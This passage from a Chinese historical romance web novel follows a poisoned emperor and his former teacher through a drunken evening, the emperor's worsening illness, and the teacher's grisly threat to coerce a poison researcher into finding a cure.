林怀玉失笑:“好好好,我不与你生分,你也别同太子殿下那般让我为难。” 季无忧只好道:“好吧,我来主要是听说了景翡的事,所以来看看你有没有事,我还怕你真答应他呢。” 林怀玉笑意微凉:“我在你们心里就是那种为了陛下可以舍弃一切的人吗?” 季无忧却摇了摇头:“不,我是怕你为了大雍妥协,你可能不会为了陛下做到这种地步,但为了大雍呢?大雍不能没有陛下,你便为了大雍而救陛下。” 林怀玉微愣,他一时间竟不知道季无忧是太了解他,还是不够了解他。 他没说什么,只是抿了一口茶。 季无忧笑笑,在旁边坐下:“不过话说回来,梵尘找到了,宿泱的毒是不是能解了?” 林怀玉这会儿,眉心染上一层忧虑:“梵尘解不了他的毒。” 季无忧倒吸一口凉气:“啊!他都不行,那可怎么办?” 林怀玉忽然觉得,季无忧来的正好:“于思,你还看着他吗?” 季无忧点头:“我命人看着呢,不过他也没离开,还在原来的地方研究那些毒呢,可能是知道我看着他,觉得自己跑也没用,干脆就在那住着了。” 林怀玉眸光一动:“既然这样,那就劳烦你把他请到大雍来吧。” 季无忧望着他,眨了眨眼。 林怀玉:“对了,记得让他带上那四只毒物。” 季无忧点头:“得嘞!” 林飞看着季无忧一脸积极的模样,低声道:“我怎么觉得,他好像挺兴奋?” 林怀玉摇了摇头,继续躺着。 到了快夜里,林飞从外面进来:“先生,陛下来了。” 林怀玉抬眼望去,却没看到那道熟悉的身影,不由得问:“人呢?” 林飞道:“陛下说让我先来通报一声。” 林怀玉嗤了一下:“他现在知道通报?” 林飞挠了挠头:“我也不清楚。” 林怀玉随意道:“让他进来吧。” 林飞点头,返回去请宿泱了。 没一会儿,宿泱便走了进来,林怀玉不免揶揄他:“普天之下莫非王土,陛下从来不都是直接进我的门吗?” 宿泱笑了一声:“老师也曾教我礼仪,是我全然抛之脑后了,即便我是天子,也该对老师尊敬。” 林怀玉眉头微挑:“来做什么?” 宿泱道:“老师用过晚膳了吗?” 林怀玉摇头:“还不曾。” “那老师与我一起去外面吃吧。” 林怀玉看向宿泱,对方的眼睛亮亮的,好似黑夜里的一颗星辰,从来只见那双眼眸阴沉,也不知什么时候起,那双眼睛里总是沉得像是深渊。 好像……他第一眼见到宿泱的时候,那双眼睛就满是阴鸷与灰败,沉得好似要将人吸进去,将那张俊秀的脸庞都衬得极为阴恻。 林怀玉不禁问他:“陛下是有什么喜事吗?” 宿泱笑了笑:“没有,但是想和老师出去走走,可以吗?” 林怀玉看着宿泱,半晌答应了。 宿泱带着他去了京都最有名的酒楼,也是方知许之前带他来的地方。 宿泱点了一桌子林怀玉爱吃的菜,小二见两人财大气粗的,又推销道:“两位客官,咱们这儿的酒可是京都最好喝的,二位要不要来一壶啊?” 宿泱迅速道:“他不喝。” 林怀玉倒是没说什么,只是眸光淡淡划过宿泱。 小二道:“那您要不要尝一尝呢?” 宿泱想了想,道:“那就上一壶吧。” “得嘞!” 林怀玉眉头微挑,宿泱今夜显然兴致很高,虽然不知道对方就是在高兴些什么,但林怀玉还是陪着他。 歌舞升平,四海昌盛,林怀玉看着底下的舞乐,也不自觉地放松了下来。 没一会儿,他倒是也拿起了酒杯,饮了一口宿泱点的酒。 宿泱抬起的手又放下。 没能拦住林怀玉。 他支颐着下颌,温柔的眸光落在林怀玉的脸上,笑道:“老师,我希望从今往后,我与你的记忆里,都是一些高兴的事。” 林怀玉看向了他:“这就是你今日兴致高涨的原因?” 宿泱点头:“我回忆了一下与老师之前的点点滴滴,发现居然没有太多高兴的事,不是在对付别人,就是在被算计,老师费了那么多心思,如今终于天下太平,却又被我……老师,我的回忆里,你都没怎么笑过,你笑一笑,好不好?” 林怀玉眸光微动,嘴上说的:“你有什么能让我现在觉得好笑的?” 宿泱闻言,还真的认真想了起来,良久,他道:“现在没有,那老师以后多笑笑。” 林怀玉瞥了一眼那酒壶,方才倒的时候便觉得快见底了,他不动声色道:“你是不是喝醉了。” 宿泱摇头:“怎么可能,我酒量还不错的。” 林怀玉嗤笑:“大楚的烈酒你不照样也喝醉了?” 宿泱深深望着林怀玉:“那是挺烈的,我喝的比较多,才醉的。” 林怀玉提了提嘴角:“我还以为你会嘴硬一下呢。” 宿泱指着他道:“老师,你笑起来很好看,再笑笑。” 林怀玉的唇角微落:“得寸进尺。” 宿泱也不在意林怀玉斥他,反而还笑着道:“老师高兴了就好。” 宿泱确实喝醉了,这京都第一的酒也是来自大楚,烈酒加上大雍的一些酒调制而成,更为猛烈,林怀玉最后只能起身绕到宿泱身侧:“该回去了。” 他拉了拉宿泱,想把人拉起来,只可惜宿泱太沉,又赖着不肯走,根本拽不动。 “你若是想在这儿过夜,我可不奉陪。”林怀玉松开了他,转身就要走。 他刚转身,一个重力便攥住了他的手,猛的将他朝后拉,林怀玉的力道不及宿泱,这会儿一下被人拉得倒了下去,直直倒进了宿泱的怀里。 林怀玉的目光撞入了宿泱那双锐利的眼眸,此刻对方的眼睛蕴了一层水光,醉酒之后,眼底的那份沉郁也荡然无存了,那眉眼柔和,望着林怀玉仿佛在看自己最珍视的东西,直想将那人映在眼眶里,千年万年。 宿泱渐渐朝着林怀玉靠近,两人的距离本就相近,他这一动,快要贴上林怀玉的唇。 那呼吸喷薄在林怀玉的脸上,一下又一下,热意焦灼如同一颗赤子之心捧在眼前。 但就在宿泱的唇快贴上他的一瞬间,林怀玉偏过了头,将宿泱扶住:“你到底走不走。” 宿泱靠在林怀玉的肩头低笑:“走,老师去哪里,我就去哪里。” 林怀玉懒得和一个喝醉的人说胡话,他站起来将宿泱扶住,掺着对方走了两步,结果宿泱歪歪扭扭地走着,差点没让两个人都摔了。 林怀玉看着他,轻叹了一声:“以后你也不许喝酒了。” 他将宿泱的一只手绕过自己的脖颈,搭在右肩上,另一只手扶住宿泱的肩膀,将人背了出去。 “老师,你要带我去哪?”宿泱在林怀玉的耳边低声问,醉意带着倦意,低低的嗓音变得格外黏腻。 林怀玉没好气道:“回林府。” 他可没那本事带着一个醉鬼走到皇宫大门。 夜已浓,街道上亮着灯却没有太多的人,两个人就这么走在明亮的街道上,互相搀扶着,一如曾经。 等林怀玉将人背到门口,林飞已然等着了,脑袋还张望着,见到林怀玉连忙上前在另一边搀扶上宿泱,谁知宿泱抱着林怀玉不撒手,愣是不让林飞碰。 林怀玉不禁道:“你是打算累死我吗?” 宿泱这才松开了林怀玉,指尖却仍旧缠着林怀玉的衣袖,不肯让林怀玉走远。 林怀玉早知道宿泱喝醉了粘人,也没想到越发地粘人。 他只好跟着宿泱进了屋子,等宿泱躺下,他道:“可以松手了吧?” 宿泱半睁着眼眸,道:“老师,你要走了吗?” 林怀玉淡淡道:“我去沐浴。” 宿泱闻言,忽然嗅了嗅自己的身上,问:“是不是我身上太臭了,熏到老师了?” 林怀玉看着宿泱有些幼稚的举动,就知对方又醉得不轻,不过他也喝了一口,以他一杯就醉的酒量,那酒……不至于将宿泱喝成这样。 林怀玉眸光一动,忽然笑道:“是啊,陛下的身上很臭。” 宿泱眼底似闪过一丝局促,他道:“那……我也要沐浴。” 林怀玉应了一声。 宿泱又道:“我要和老师一起沐浴。” 第65章 第 65 章 结发 惊雷忽的响起, 夜色划过一道电光,将整个夜空照亮了一瞬。 “你!!!!你在说什么呢?!”林飞在旁边惊愕地望着宿泱,满脸不敢置信。 虽然他已经猜到也看出来宿泱喜欢他家先生, 可是他家先生似乎没有这个意思,他也曾问过林怀玉, 林怀玉也没说, 那就是不喜欢啊,若是喜欢了, 要么沉默害羞,要么满脸笑意,如他先生那般的反应, 应当是没这个意思。 既然没有, 陛下就不能和他家先生做那些亲密的举动了。 宿泱瞥了林飞一眼。 林飞抿了抿唇,那眼神怎么感觉没醉呢…… 陛下这到底, 醉没醉啊? 这阴恻恻的眼神,和方才跟林怀玉撒娇的模样, 判若两人! 林怀玉倒没这么大的反应, 毕竟他和宿泱之间, 再亲密的举动都做过了。 只是他淡淡道:“醉酒之人不宜在酒醉之时沐浴, 你若是沉到水下, 可没人捞你。” 宿泱重新换上笑意:“所以才要和老师一起洗啊。” 林怀玉:“……” “不行!”林飞冒着生命危险拦在了林怀玉和宿泱中间,“陛下非要沐浴的话, 我,奴才给你洗!” 宿泱又阴沉地看了林飞一眼, 随即松了身子倒在榻上:“罢了,原是怕老师嫌弃我,既然老师不愿也无妨, 就让我在床上臭着吧,” 林飞看着突然摆烂的宿泱,一时间竟然觉得,对方好像还挺委屈的,就是一个像沐浴的小要求而已…… 林怀玉垂眼看着宿泱,无奈道:“走吧。” 宿泱顿时又眉开眼笑起来,起身跟上林怀玉,没走两步便又晃了晃身形,林怀玉只好将人接住。 他吩咐林飞去准备水,林飞比他们快,等他们一路跌跌撞撞走到沐浴之处,水已经备好。 林怀玉扶着宿泱走进屋子,拍了拍他:“站好,把衣服脱了。” 他则走到了水桶处,试了试水温。 入秋的天倒还不至于用太热的水,适温即可。 林怀玉试完水温,身后又被人靠了上来,他没好气道:“陛下,您又做什么?” 宿泱的声音闷闷的:“没力气,脱不了衣服。” 林怀玉转身,只见宿泱将身上的衣袍扯得凌乱,但确实如他所言,没能脱下来。 林怀玉抿了抿唇:“陛下是醉酒,又不是心智不全,连衣服都不会脱了吗?” 宿泱轻笑了一声,他握住了林怀玉的手,将对方的手牵起引到了自己的胸口处:“老师帮我。” 林怀玉望着宿泱,扯了扯嘴角,反手拍开宿泱的手,冷冷道:“站好!” 宿泱见状,只得乖乖站好。 林怀玉看了他一眼,宿泱低垂着头,像是做错了事一副任打任罚的模样。 他上前一步,一手勾住了宿泱的腰带,倾身上前,搂着宿泱到对方身后,为宿泱解开腰带。 宿泱猛地抬头,眼底闪过一丝喜悦,他感受到林怀玉贴近他的胸膛,心脏慌乱地跳动着,不知是他的,还是林怀玉的。 应该是他的。 他的心跳得很快,很乱。 他还是会因为林怀玉的靠近而心乱如麻。 林怀玉解开了宿泱的腰带,宿泱胸膛处的衣袍顿时散了开来,露出了里面紧致的肌肉,恰到好处的身材与丝滑的线条将整副躯体描绘得格外完美。 林怀玉眸光一顿,退了一步:“陛下脱了衣服进去沐浴吧。” 宿泱看了林怀玉一眼,少见对方这副模样,轻笑了一声,也没有再得寸进尺,抬步跨入浴桶中。 他整个人沉在里面,适宜的温水令他整个人都放松下来,他靠在一边,瞥了一眼浴桶还有很大的空间,虽然容不下一整个人,但挤一挤,还是有位置的。 他侧目望向林怀玉,只见对方转身正准备走。 宿泱闭上了眼睛,沉了下去。 林怀玉听到了动静,转身就看见宿泱沿着桶壁,那水快要没过宿泱的眼睛。 林怀玉快步上前,一把将人拉住,宿泱的身子本就沉,这会儿在水里,更加拉不动,林怀玉整个身子都探了过去,刚将人拉起来,不料对方一个重力,反倒将他拉入了浴桶之中。 霎时间,水花四溅。 林怀玉身上的衣物还未脱掉,就这么跌进了浴桶中,那浴桶虽大,却也无法同时容下两个身姿修长的男子,林怀玉便跌在了宿泱身上。 即便隔着一层布料,宿泱也能感觉到林怀玉身上的温度,对方的腿因为施展不开,叠在他的腿上。 林怀玉一时间找不到支撑的地方,手还压在了宿泱的大腿处。 宿泱看着林怀玉,戏谑道:“老师也想和我一起沐浴。” 林怀玉睨了他一眼:“明明是你把我拽下来的。” 宿泱面上抱歉,语气却带着些许愉悦:“我看老师要走,舍不得老师离开,只是轻轻拉了一下。” 林怀玉冷哼一声,找到了宿泱腰侧的空隙,撑着浴桶就要站起来,腰间却被宿泱一带,重新跪坐了下去。 林怀玉望着宿泱,有些恼怒:“你做什么?!” 宿泱道:“湿都湿了,老师就一起洗吧。” 林怀玉冷冷道:“不。” 宿泱眸光一顿,瞬间垂下眼眸,道:“是我让老师想起之前不好的回忆了吗?” 林怀玉看了宿泱一眼,对方此刻的神色倒是不似作假,他冷冽的眸光也有一瞬间的松软。 宿泱见他不说话,只好道:“对不起,我只是太想亲近老师了,但如果这样让老师不高兴了,我绝不会再做。” 他说着,松开了林怀玉腰间的手,往后推了推,贴到了浴桶壁,给林怀玉让出一点空间。 林怀玉本想立刻抽身就走,但瞥了一眼身上的状态,没好气道:“你是准备让我这副模样出去吗?” 宿泱眸光一抬,想了想,立刻起身:“那……我伺候老师沐浴。” 他从浴桶中出来,将整个空间让给了林怀玉,绕到了林怀玉的身后,双手探入水下,解开了林怀玉的腰带。 他又将林怀玉身上的衣服脱了,露出对方白皙紧致的肌肤:“老师还是这般瘦。” 林怀玉淡淡道:“好好洗。” 宿泱轻笑了一声,取了旁边的澡巾给林怀玉擦拭:“我若是力道重了,你告诉我。” 林怀玉应了一声,靠在浴桶边上,被宿泱伺候得十分舒服。 宿泱连头发也给林怀玉一并洗了,他的手指捋过林怀玉的长发,在发尾偷偷扯断了一截林怀玉的头发同自己的一根头发打成了结,而后又若无其事地替林怀玉洗发。 只是宿泱的嘴角从他取下林怀玉的发丝开始便没再落下过。 第66章 第 66 章 老师,我是不是快死了?…… 秋风簌簌, 将叶子都吹得泛黄,空气中的温度也逐渐降了下来。 季无忧终于把于思带了过来,外加一箱子于思的“小宠物”和瓶瓶罐罐装好的毒药。 他与林怀玉对视着, 好半天才道:“我是真的不知道怎么解陛下的毒,那四只小东西也是我费了好大的力气才抓齐的, 我都不知道它们究竟有多毒, 这不是让陛下试毒吗?” 林怀玉冷笑道:“其实,我有一个办法, 你毕竟是这一道的天才,天赋异禀,即便这会儿不知道如何解毒, 那四只毒物咬你一口, 你自己体会到了,兴许感悟更深, 也就知道解毒之法了呢?” 于思顿时脸色一白,他终日研究毒物, 岂能不知那四只毒物的厉害, 虽然成痴, 所以不至于不要命, 听到林怀玉这般威胁, 一时间慌了:“别别别,我……你给我点时间嘛!” 林怀玉瞥了他一眼, 端着茶盏,好整以暇地问:“要多久?” 于思深思熟虑了一番, 道:“嗯……五……不,十年?” 林怀玉气笑了,他眸光带着冷意, 如刀刃般刺向于思:“一个月。” 于思大惊失色:“一?!一个月?!?!?!这怎么可能啊!我是天才又不是天仙!你找别人去!” 林怀玉手中的茶盏叩在桌上,发出一声清脆的响声,他神色未变,只是冷意更甚:“你以为我是跟你在商量吗?” 于思被吓得一抖,从前他不知道这两个人的身份,倒是没什么畏惧的,如今知道了,即便他再如何醉心毒物,却也没法真的不在乎威胁。 毕竟只有活着,他才能做那些研究。 他只好道:“一个月就一个月嘛。” 季无忧让人把他送回去,看着林怀玉缓和的脸色,笑道:“我这么快把人抓回来,怀玉是不是该有什么奖赏?” 林怀玉抬眸,悠悠道:“你想要什么?” 季无忧想了想,道:“之前在江南,你和景翡去游湖都没带上我,这次在大雍,我要你陪我一个人去游湖。” 林怀玉轻笑了一声,颇有些无奈。 怎么一个两个都跟游湖过不去。 “游个湖而已,你和景翡可以,和我就不行吗?”季无忧的语气里颇有些委屈。 林怀玉道:“应你便是了。” 季无忧顿时喜笑颜开:“那就这么说定了,明日我来接你!” 林怀玉失笑。 快到晚膳的时候,门外突然来了不少宫里的人,为首的正是德福,他朝着林怀玉行了礼,解释道:“陛下吩咐御膳房做了不少膳食,送到林先生府上,说要给先生您补补身子。” 林怀玉看着那些宫人将食盒里的菜一道接着一道端出来,将整个桌子都放得满满当当,林怀玉不禁道:“我能吃得了这么多吗?” 德福笑着道:“陛下说了,先生喜欢吃就多吃点,不喜欢的给林飞吃。” 一旁的林飞:“?” 林怀玉摆了摆手:“罢了,多谢公公走这一趟。” 德福又行了礼,连忙道:“林先生不必言谢,咱家也是奉命行事,这就回宫复命去了。” 林怀玉颔首:“公公慢走。” 林飞等人都走了,道:“陛下这是要做什么?” 林怀玉想起上次沐浴的时候,宿泱似乎说过要养养他,觉得他还是太瘦了。 他看着一桌子的菜,眸光中染上些笑意,招呼了林飞:“坐下一起吃吧。” 林飞笑着就坐下了:“谢谢先生。” “老师,朕也没吃呢。”门外传来了宿泱的声音。 林怀玉转头,见那人倚在门框处,似笑非笑地望了进来:“陛下既吩咐了御膳房做膳食,怎么不给自己做,全送我这来了?” 林飞起身站到了林怀玉的身侧。 宿泱浅笑着在林怀玉旁边坐下,道:“想和老师一起用膳,老师肯吗?” 林怀玉瞥了他一眼,故意道:“你都坐下了,还多问这一句做什么?” 宿泱道:“老师要是不同意的话,我必定不会为难老师的。” 林怀玉又看了他一眼,提起唇角,道:“那你现在回宫去吧。” 宿泱:“……” 宿泱幽怨地看着林怀玉:“老师当真要赶我走吗?我还没吃饭呢,好饿。” 林怀玉嗤了一声:“少跟我演。” 宿泱笑了笑,拿起了筷子,看了一眼站着的林飞,道:“老师让你一起吃,你站着做什么?” 林飞愣了一下,这才应声坐在林怀玉的另一侧。 宿泱把所有菜都给林怀玉夹进了碗里:“这些都是我特地让御膳房做的药膳,对老师的身体大有裨益,老师可得多吃一些。” 林怀玉看着碗里堆起的小山,道:“你打算撑死我吗?” 宿泱看着一堆菜,也心虚地笑了笑:“老师……能吃多少就吃多少好了。” 林怀玉无奈,拿起了筷子将菜往嘴里送。 只可惜,宿泱真的给他夹了太多,他确实没能吃完。 正在他觉得有些浪费时,旁边宿泱伸过来一只手,将他的碗抽了过去。 林怀玉便眼睁睁看着堂堂大雍天下吃掉了他的剩菜剩饭。 林怀玉抿了抿唇:“桌上还有菜,吃我的做什么?” 宿泱抬头,目光恍然落在林怀玉红了的耳尖上,轻笑了起来:“老师碗里的比较香。” 林怀玉:“……” 虽然这样确实不浪费了,但这感觉好奇怪。 林怀玉说不上来,只好随宿泱去了。 斗转星移,时光流转,一月时间匆匆而过。 林怀玉仍旧躺在自己的院子里,等着季无忧的回音。 “不好了!林先生!不好了!”德福从外面急匆匆跑了进来,差点没给自己摔着。 林怀玉没等到季无忧带着于思来,却先一步等来了德福,德福这模样,恐怕是陛下出了什么事。 林怀玉立刻从躺椅上起来,问:“是陛下出什么事了吗?” 德福点头:“陛下吐了很多血,晕过去了,方才掌院施了针,但醒来后又有些神志不清,奴才没法子只好来请先生了。” 林怀玉皱了皱眉,看了一眼门口,要等的人还没来,他嘱咐林飞:“你在这儿等着,如果季无忧带着于思来了,立刻将他们送进宫中。” 林飞点头:“是。” 林怀玉这才随德福进宫。 宿泱仍旧宿在沁春宫中,林怀玉推门而入,浓重的血腥味迎面扑来,他眸光落在床榻上,只见宿泱躺在床上,鲜血不断从口中溢出,只是人似乎还没昏过去,听到有人来,眸光朝这边移了过来。 他看见来人是林怀玉,泪水不知怎的倏然落了下来。 看得林怀玉一愣,他似乎从没见过宿泱落泪,即便年幼时在冷宫受尽欺凌不曾落泪,被自己的父皇厌恶欲除之而后快也不曾落泪,登上太子之位后更加不曾见过,林怀玉没见过宿泱这样的神色。 他还没反应过来,床上的人竟然不顾自己身体虚弱甚至在吐血,跑过来抱住了林怀玉:“老师。” 林怀玉听出对方语气里的不对劲,一边疑惑,一边问:“怎么了?” 宿泱抱着他,闷声道:“老师,他们欺负我。” 林怀玉不解,更不解的是,宿泱竟然同他告状,如此幼稚的心性,莫非这毒又换了一种发作方式? 林怀玉便顺着他,问:“谁人欺负陛下了?” 宿泱却抬头,看着林怀玉,眼里不解:“什么陛下?对,就是陛下欺负我,他们打我,陛下不管我。” 林怀玉眉头一蹙,宿泱的记忆又紊乱了吗?但这次没有忘记他们之间的关系,却忘记了自己已经成为大雍天子了。 林怀玉再试探地问:“陛下,你不记得了吗?” 宿泱摇头:“我不知道老师在说什么,但老师说给我听,我都会记着。” 林怀玉看着宿泱一边吐血一边又想把血往肚子里咽,还要同他讲话的模样,轻叹了一声,拉着人往床上走:“他们欺负你,你打回去。” 宿泱笑了一下:“我打回去了,老师同我说过的,我记着呢,他们被我打得屁滚尿流的。” 林怀玉笑了笑,扶着人躺下,对门口的德福道:“周掌院呢?” 德福连忙回话:“掌院煎药去了。” 林怀玉点头:“你出去吧,等季无忧把于思送进宫来。” 德福看了一眼宿泱,应声关上了门。 “老师,我是怎么了?”宿泱躺在床上,鲜血不住地回流,难受得很。 林怀玉轻声安抚他:“没事,陛下只是中了毒,等于思进宫,我让他给你解毒。” 宿泱却又皱着眉问他:“老师为什么称呼我为陛下?” 林怀玉失笑:“那我该称呼你为什么呢?” 宿泱想也没想,道:“老师一直喊我殿下的。” 林怀玉这便知道了,宿泱的记忆这会儿约莫停留在了冷宫的时候,又或者刚出冷宫的时候。 但方才说,冷宫的人欺负他,那应该还未曾从冷宫出来。 林怀玉顺着他,道:“好,殿下。” 宿泱朝着他笑了笑,结果又是一大口鲜血涌出来,他有些慌乱地扯过林怀玉的衣袍,眼底闪过一丝不耐:“老师的衣袍被我弄脏了。” 林怀玉淡淡道:“无妨。” 宿泱抿了抿唇,却扯着那衣袍没有松开:“老师,我是不是快死了?” 林怀玉呼吸一顿,他低头望着宿泱,安抚道:“不会的,于思很快就会进宫了,他会解了陛……殿下的毒。” 话音刚落,门外便响起了德福的声音:“林先生,七皇子和于先生来了。” 林怀玉起身朝外走去,宿泱看着林怀玉逆着光的背影,忽然心头一阵绞痛。 他伸出手,气息微弱,口中喊着:“老师……别走……” 可他喊的那样轻,只剩下气音,林怀玉不曾听见,也不曾回头。 宿泱只能看着林怀玉那决绝的背影渐渐远去,仿佛再也不会回来。 第67章 第 67 章 老师终于来看我了…… 万里晴空, 日光都不是那么刺眼,柔和得仿佛在与人间诉说缱绻。 林怀玉走出房间,看到季无忧和于思, 两个人的神色都不怎么好,林怀玉的心底便沉了几分。 他走过去, 问于思:“研究出来了吗?” 于思都不敢同他对视, 摇了摇头,道:“时间实在太短了, 我真的不行啊……” 林怀玉悬着的心终于死了,他的脸霎时间冷了下来,但并未立刻说什么, 只是看了林飞一眼, 悠悠在院子里坐了下来。 林飞迅速将于思那几只毒物抬了上来,摆在于思面前, 林怀玉看着他,道:“看样子还是需要你亲自体验一下这四种毒, 才能研制出解药了。” 于思的脸色顿时煞白, 林怀玉的神色不似在开玩笑, 甚至上一次对方就想这么做了。 林飞将装着毒物的盒子扔到了他面前, 于思声音颤抖道:“别别别, 我……你再给我点时间,我肯定能研制出解药!” 林怀玉嗤笑了一声, 如寒霜的眼眸落在于思的身上,道:“上一次, 你好像也是这般与我讨价还价的。” 于思:“……” 完了! 林怀玉又收回了目光,林飞刚上前一步,于思又道:“是真的!一年!就一年, 一个月真的太短了,四种剧毒我是真的研究不出来,你给我一年的时间!” 林怀玉打量了对方好一会儿,直把人看得头都要低到地里去,才终于道:“一年太久了,我等不了,这样吧,我再给你半年的时间,如果半年之后你还是研制不出解药……” 林怀玉顿了顿,却让于思大汗淋漓。 “我不杀你,我把你做成人彘,砍掉你的手脚,只剩一截身体挂着一个脑袋,每日只能装在坛子里才能直起身子,我还会砍掉你的舌头,你连想死都做不到,只能眼睁睁看着自己无能为力的模样,苟活一日又一日,这个结局,你喜欢吗?” 于思瞳孔剧缩,他从前只是听说过林怀玉的恶名,但从未有过实感,即便后来知晓他的身份,也只是有些畏惧,但此刻,他是真的害怕,求生不能求死不得的无能为力,足够令他绝望,那下场单单只是口述,都令他心生恐惧,更别说林怀玉真的会这么做。 他连忙道:“好!半年!我一定能研制出解药。” 林怀玉这才轻笑了一声。 周围鸦雀无声,显得这声笑格外清脆,又格外瘆人。 一番话,不仅震住了于思,更是吓到了周围所有人。 季无忧看着林怀玉,艰难地咽了咽口水,默默朝对方竖了个大拇指。 待众人离开,林怀玉重新进到寝宫,宿泱立刻便朝林怀玉望了过来:“老师!” 林怀玉应了一声,宿泱仍旧在不住地吐血,脸色苍白,林怀玉快步走到床榻边:“怎么了?” 宿泱擦了擦唇角的血,摇头道:“老师方才在外面发脾气,是为了我吗?” 林怀玉一怔,随即道:“没有发脾气。” 宿泱笑笑:“老师分明就是生气了,还威胁人呢。” 林怀玉垂眸:“你听到了?你是觉得我手段残忍吗?” 宿泱不禁道:“老师怎么会这样想?我见惯了人心险恶,老师却是我见过最好的人,在这宫里,要想活下去,谁不是手段残忍?老师,好人在这宫里是活不下去的。” 林怀玉唇角一扯,他随口一问,倒是让宿泱反过来说教起他来了。 末了,宿泱又接了一句:“但老师在我心里,就是一个人很好很好的人。” 林怀玉轻笑了一声:“既然我这样好,你会离开我吗?” 宿泱忽的愣了一下,随即脸色微红:“我……我不想离开老师。” 只是他说完,眼底又落寞了下来:“可是,我的毒……要是老师找来的那个人解不了,老师,你会伤心吗?” 林怀玉蓦地笑了一声:“不会。” 宿泱还是没变,总喜欢问他会不会为他伤心。 宿泱闻言,眼底闪过一丝失落,随即又松了口气:“那也挺好的,至少,老师不会伤心。” 林怀玉看了他一眼,道:“你若是死了,我正好再扶持一个新帝,重新做我的丞相。” 宿泱眨了眨眼,问:“老师喜欢做丞相?等我坐上了那个位置,谁也撼动不了老师的丞相之位!” 林怀玉闻言,却是轻笑了一声:“这些日子你先好好休息吧,朝中事务我来处理。” 宿泱乖乖应了。 林怀玉出了沁春宫,宿泱便沉下了脸,唤来了德福:“把你知道的全部说来,一个字也别落下。” 德福赶忙道:“是。”. 林怀玉出了沁春宫,朝着御书房而去,宿泱的毒不可让旁人知晓,但朝中不能没人主持大局,只能先以陛下身体不适为由,让他暂代朝政了。 林怀玉虽说远离朝堂许久,但该知道的动向他全部都知道,接起手来毫不费力,有圣旨在,他垂帘听政也无人敢驳斥。 但终究还有人怀疑陛下究竟怎么了。 季无忧进了宫,见到林怀玉坐在书案前,他走近道:“我怎么感觉,你如今越发沉默寡言了?” 林怀玉抬眸瞧他,不解:“何以见得?” 季无忧摇了摇头:“我也说不上来,不过我最近找你,你不是在批折子,就是在处理朝政,以前见你总是躺在那躺椅上,慵懒地躺着,和如今太不一样,反倒……和宿泱似的。” 林怀玉愣了一下,随即笑道:“大概是坐上这个位置,不自觉就变成了这样。” 季无忧也没多想:“我出来太久了,我父皇催我回去了,我是来跟你道别的。” 林怀玉放下了手里的笔:“说起来,我其实还没有好好招待过你。” 季无忧立刻点头:“是啊是啊!所以……” 林怀玉看着他打蛇上棍的模样,不禁又笑道:“我让德福备宴,你今晚留下来,明日我送你出宫。” 季无忧顿时道:“好啊!这可是你答应我的,晚上咱们就不见不散咯!” 林怀玉望着季无忧仍旧是那副天真无邪的模样,眼底倒是多了些羡慕。 季无忧离开后,林怀玉也没了什么心思,他喊了德福,吩咐了备晚宴。 德福离开后,御书房便彻底没了其他人,林怀玉起身朝沁春宫而去。 “老师,你来看我了吗?” 林怀玉一推门,便听到了宿泱的声音,如今宿泱醒的时间比以往少了很多,大多数时间都昏迷着,于思曾来看过宿泱一回,说若是宿泱再这么睡下去,恐怕会成个永远都醒不过来的活死人。 林怀玉便每日抽空过来看他,他走到床榻边,入眼便是渗血的被褥,他皱着眉头,喊了人:“把被褥换了。” 宫人匆匆而动,林怀玉绞了帕子,替宿泱擦拭着唇角的鲜血,宿泱便握住了林怀玉的手腕:“老师,都是我不好,还要让你来照顾我。” 林怀玉轻轻颔首:“你既然知道,便该早点好起来,让我省些心。” 宿泱勉强笑了笑,他恐怕能活多久都是个问题,更别说好起来,林怀玉总是在安慰他。 “有时候我在想,我那么该死,我死了,老师应当更快活,可我又想,我若是死了,老师一个人该多孤独,老师,我想多陪陪你,多一日都是好的。”宿泱牵着林怀玉的手,贴在自己的脸上。 林怀玉垂了垂眸:“总想这些做什么?” 宿泱只能轻笑着看林怀玉,他身上很难受,一直疼,大多数时候虽然在昏睡,却还是能感受到身体里的不舒服,可他又不想林怀玉担心他,只能乱想了。 “老师,那些大臣没有为难你吧?”宿泱转移了话题。 林怀玉便道:“你还不放心我吗?” 宿泱笑道:“老师那么厉害,必定手到擒来。” 林怀玉没搭话,只道:“晚上我要宴请季无忧,他明日回大楚。” 宿泱点了点头,竟是没说什么,只道:“好,老师别喝太多酒。” 林怀玉望着他,想了想终究还是没开口让宿泱一起去。 毕竟那个时候,宿泱也不知道是醒着还是昏睡着。 第68章 第 68 章 林怀玉依赖他 夜色渐凉, 带着丝丝缕缕的寒意渗入衣袍,甚至带上了些许刺骨的风刃。 林怀玉披了件外袍,朝着御花园而去。 “怀玉!”季无忧看见他, 朝他招了招手,林怀玉便浅笑着走了过去。 “你来的挺早。”林怀玉坐下, 淡淡道。 季无忧笑:“那当然, 好不容易你请我吃饭,我都盼了一天了。” 林怀玉道:“又不是只有这一次机会。” 季无忧点头:“这倒是没错, 不过下一次在什么时候可就不知道了啊。” 林怀玉垂眸,没有接话。 季无忧说的没错,他们如今一个要守着大雍, 一个即将回大楚, 隔着千里万里,季无忧虽说只是个皇子, 没有继位的打算,但未来终归不会一直留在宫中, 更何况他也不是真的在两国之间能够来去自如到如同进自家后花园。 不过日后的事情, 谁又能说得准呢。 林怀玉少见的自己拿起了酒杯:“愿你一路平安。” 季无忧立刻也举起了酒杯, 他特地走到了林怀玉身边, 同他轻轻碰了杯:“怀玉, 你一定要好好的,就算……于思真的没能研制出解药, 你可别傻乎乎地殉情啊。” 林怀玉轻笑了一声,不禁问:“你怎么会觉得我会想殉情?” 季无忧摇了摇头:“其实我也不知道, 但是你最近好像变了,变得很……奇怪,我说不上来, 但总觉得你不高兴,自从宿泱的毒发作得更厉害,醒的时间越来越少,你都不怎么笑了,就像……有根绳子拉着你,紧紧绷着。” 林怀玉倒是没想到季无忧会这样形容他,不过和他如今的心境确实有些像。 他笑了笑,道:“放心,我不会殉情的。” 季无忧听他这么说,点头道:“那就行。” 季无忧喝醉了酒,没一会儿便拉着林怀玉,问:“怀玉啊,你如今对宿泱到底是怎么想的?” 林怀玉虽说一杯倒,但到底没烂醉,虽然也有些不清醒,好歹还能强撑着,面上维持理智:“什么怎么想?” 季无忧搭上他的肩:“你别告诉我你不知道宿泱对你存了什么样的心思?你们俩是师徒,你之前不肯接受他,是不是就是这个原因?” 林怀玉的脑子在酒的作用下变得有些迟钝,他反应了一会儿,才道:“不是。” 季无忧闻言,反倒起了兴趣:“那究竟是什么原因?” 林怀玉转头反问他:“你觉得以他当时的性子,我有接受他的理由吗?” 季无忧虽然了解了一些林怀玉和宿泱的事,但终究了解不了全部,他只好问:“那现在呢?” 